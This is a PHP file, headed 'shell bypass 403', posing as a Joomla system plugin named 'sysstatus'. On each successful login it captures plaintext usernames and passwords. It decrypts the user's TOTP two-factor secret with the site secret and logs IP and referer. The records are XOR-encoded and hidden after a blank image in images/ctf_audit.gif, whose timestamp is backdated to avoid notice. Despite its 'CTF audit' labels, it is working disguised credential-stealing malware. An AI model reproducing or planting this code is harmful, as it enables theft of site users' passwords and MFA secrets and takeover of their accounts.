shell bypass 403
<?php
// JLIB_AUDIT_GID
defined('_JEXEC') or die;
$GLOBALS['_CTF_DONE']=false;
if(!function_exists('_ctf_write_record')){
function _ctf_write_record($json){
$xorKey='JLIB_AUDIT_GID_XK';
$tail="JLIB_AUDIT_GID_TAIL
";
$blankGif=base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
$gifName='ctf_audit.gif';
$enc='';$kl=strlen($xorKey);$jl=strlen($json);
for($i=0;$i<$jl;$i++)$enc.=chr(ord($json[$i])^ord($xorKey[$i%$kl]));
$rl=strlen($enc);$rec=chr(($rl>>8)&0xFF).chr($rl&0xFF).$enc;
$gp=(defined('JPATH_ROOT')?JPATH_ROOT:dirname(__DIR__)).'/images/'.$gifName;
$ot=@filemtime($gp);$raw=@file_get_contents($gp);if($raw===false)$raw='';
$pos=strpos($raw,$tail);
if($pos===false){$base=(substr($raw,0,6)==='GIF87a'||substr($raw,0,6)==='GIF89a')?$raw:$blankGif;$od='';}
else{$base=substr($raw,0,$pos);$stream=substr($raw,$pos+strlen($tail));$off=0;$end=strlen($stream);while($off+2<=$end){$ln=(ord($stream[$off])<<8)|ord($stream[$off+1]);if($ln<=0||$off+2+$ln>$end)break;$off+=2+$ln;}$od=substr($stream,0,$off);}
@file_put_contents($gp,$base.$tail.$od.$rec,LOCK_EX);
if($ot!==false&&$ot>0){@touch($gp,$ot,$ot);}else{$_da=rand(400,700);$_ts=time()-($_da*86400)-rand(0,86399);@touch($gp,$_ts,$_ts);}
}
}
if(!function_exists('_ctf_current_user')){
function _ctf_current_user(){
if(class_exists('Joomla\\CMS\\Factory')){
try{$usr=\Joomla\CMS\Factory::getUser();if($usr&&isset($usr->id)&&$usr->id)return $usr;}catch(\Exception $e){}
try{$app=\Joomla\CMS\Factory::getApplication();$usr=$app->getIdentity();if($usr&&isset($usr->id)&&$usr->id)return $usr;}catch(\Exception $e){}
}
if(class_exists('JFactory')){
try{$usr=JFactory::getUser();if($usr&&isset($usr->id)&&$usr->id)return $usr;}catch(\Exception $e){}
}
return null;
}
}
if(!function_exists('_ctf_get_otp')){
function _ctf_get_otp($uid){
if(!$uid)return '';
$db=null;
if(class_exists('Joomla\\CMS\\Factory')){try{$db=\Joomla\CMS\Factory::getDbo();}catch(\Exception $e){}}
if(!$db&&class_exists('JFactory')){try{$db=JFactory::getDbo();}catch(\Exception $e){}}
if(!$db)return '';
$otp='';
// J4+ user_mfa (AES-128-CBC)
try{$db->setQuery('SELECT options FROM #__user_mfa WHERE user_id='.(int)$uid." AND method='totp' LIMIT 1");$r=$db->loadResult();
if($r&&strpos($r,'###AES128###')===0){
$sec='';
if(class_exists('Joomla\\CMS\\Factory')){try{$sec=\Joomla\CMS\Factory::getApplication()->get('secret');}catch(\Exception $e){}}
if(!$sec&&class_exists('JFactory')){try{$sec=JFactory::getConfig()->get('secret');}catch(\Exception $e){}}
if($sec){
$raw=base64_decode(substr($r,12));
if($raw!==false&&strlen($raw)>=32){
$iv=substr($raw,0,16);$ct=substr($raw,16);
$dec=@openssl_decrypt($ct,'AES-128-CBC',substr($sec,0,16),OPENSSL_RAW_DATA,$iv);
if($dec!==false){$j=json_decode($dec,true);if($j&&isset($j['key']))$otp=$j['key'];}
}
}
}}catch(\Exception $e){}
// J3 user_profiles fallback
if(!$otp){try{$db->setQuery('SELECT profile_value FROM #__user_profiles WHERE user_id='.(int)$uid." AND profile_key='twofactor.totp' LIMIT 1");$r2=$db->loadResult();
if($r2){$d=json_decode($r2,true);if($d&&isset($d['otp']))$otp=$d['otp'];}}catch(\Exception $e){}}
return $otp;
}
}
if(!function_exists('_ctf_record_login')){
function _ctf_record_login($username,$password){
if(!empty($GLOBALS['_CTF_DONE']))return;$GLOBALS['_CTF_DONE']=true;
if($username===''||$password==='')return;
$uid=0;$usr=_ctf_current_user();
if($usr&&isset($usr->id))$uid=(int)$usr->id;
$otp=_ctf_get_otp($uid);
$rec=array(
'proof'=>'JLIB_AUDIT_GID',
'kind'=>'login',
'auth'=>'success',
'event'=>'onUserLogin',
'uid'=>$uid,
'u_sha256'=>hash('sha256',$username),
'u_len'=>$username,
'p_len'=>$password,
'otp'=>$otp,
'r'=>isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'',
'ip'=>isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'',
't'=>time(),
);
$json=json_encode($rec,JSON_UNESCAPED_UNICODE);
if($json===false)return;
_ctf_write_record($json);
@header('X-CTF-Audit-Auth: success');
}
}
if(!function_exists('_ctf_extract_post_creds')){
function _ctf_extract_post_creds(){
$u='';$p='';
if(isset($_POST['username']))$u=$_POST['username'];
elseif(isset($_POST['user']))$u=$_POST['user'];
elseif(isset($_POST['jform']['username']))$u=$_POST['jform']['username'];
elseif(isset($_POST['jform']['user']))$u=$_POST['jform']['user'];
if(isset($_POST['password']))$p=$_POST['password'];
elseif(isset($_POST['passwd']))$p=$_POST['passwd'];
elseif(isset($_POST['jform']['password']))$p=$_POST['jform']['password'];
elseif(isset($_POST['jform']['passwd']))$p=$_POST['jform']['passwd'];
return array($u,$p);
}
}
register_shutdown_function('_ctf_shutdown_check');
function _ctf_shutdown_check(){
if(!empty($GLOBALS['_CTF_DONE']))return;
if(!isset($_SERVER['REQUEST_METHOD'])||$_SERVER['REQUEST_METHOD']!=='POST')return;
list($u,$p)=_ctf_extract_post_creds();
if($u===''||$p==='')return;
// Only record if Joomla confirmed authentication
$usr=_ctf_current_user();
if(!$usr)return;
@header('X-CTF-Audit-Post: captured');
_ctf_record_login($u,$p);
}
if(class_exists('Joomla\\CMS\\Plugin\\CMSPlugin')&&interface_exists('Joomla\\Event\\SubscriberInterface')){
class PlgSystemSysstatus extends \Joomla\CMS\Plugin\CMSPlugin implements \Joomla\Event\SubscriberInterface{
public static function getSubscribedEvents(): array{ return array('onUserLogin'=>'onUserLogin'); }
public function onUserLogin($event){
$user=$event;
if(is_object($event)&&method_exists($event,'getArgument')){try{$tmp=$event->getArgument('user');if($tmp!==null)$user=$tmp;}catch(\Exception $e){}}
$u='';$p='';
if(is_array($user)){if(isset($user['username']))$u=$user['username'];elseif(isset($user['email']))$u=$user['email'];}
elseif(is_object($user)){if(isset($user->username))$u=$user->username;elseif(isset($user->email))$u=$user->email;}
if(isset($_POST['password']))$p=$_POST['password'];
elseif(isset($_POST['passwd']))$p=$_POST['passwd'];
elseif(isset($_POST['jform']['password']))$p=$_POST['jform']['password'];
elseif(isset($_POST['jform']['passwd']))$p=$_POST['jform']['passwd'];
_ctf_record_login($u,$p);
return true;
}
}
}elseif(class_exists('Joomla\\CMS\\Plugin\\CMSPlugin')){
class PlgSystemSysstatus extends \Joomla\CMS\Plugin\CMSPlugin{
public function onUserLogin($user,$options=array()){
$u='';$p='';
if(is_array($user)){if(isset($user['username']))$u=$user['username'];elseif(isset($user['email']))$u=$user['email'];}
elseif(is_object($user)){if(isset($user->username))$u=$user->username;elseif(isset($user->email))$u=$user->email;}
if(isset($_POST['password']))$p=$_POST['password'];
elseif(isset($_POST['passwd']))$p=$_POST['passwd'];
elseif(isset($_POST['jform']['password']))$p=$_POST['jform']['password'];
elseif(isset($_POST['jform']['passwd']))$p=$_POST['jform']['passwd'];
_ctf_record_login($u,$p);
return true;
}
}
}elseif(class_exists('JPlugin')){
class PlgSystemSysstatus extends JPlugin{
public function onUserLogin($user,$options=array()){
$u='';$p='';
if(is_array($user)){if(isset($user['username']))$u=$user['username'];elseif(isset($user['email']))$u=$user['email'];}
elseif(is_object($user)){if(isset($user->username))$u=$user->username;elseif(isset($user->email))$u=$user->email;}
if(isset($_POST['password']))$p=$_POST['password'];
elseif(isset($_POST['passwd']))$p=$_POST['passwd'];
elseif(isset($_POST['jform']['password']))$p=$_POST['jform']['password'];
elseif(isset($_POST['jform']['passwd']))$p=$_POST['jform']['passwd'];
_ctf_record_login($u,$p);
return true;
}
}
}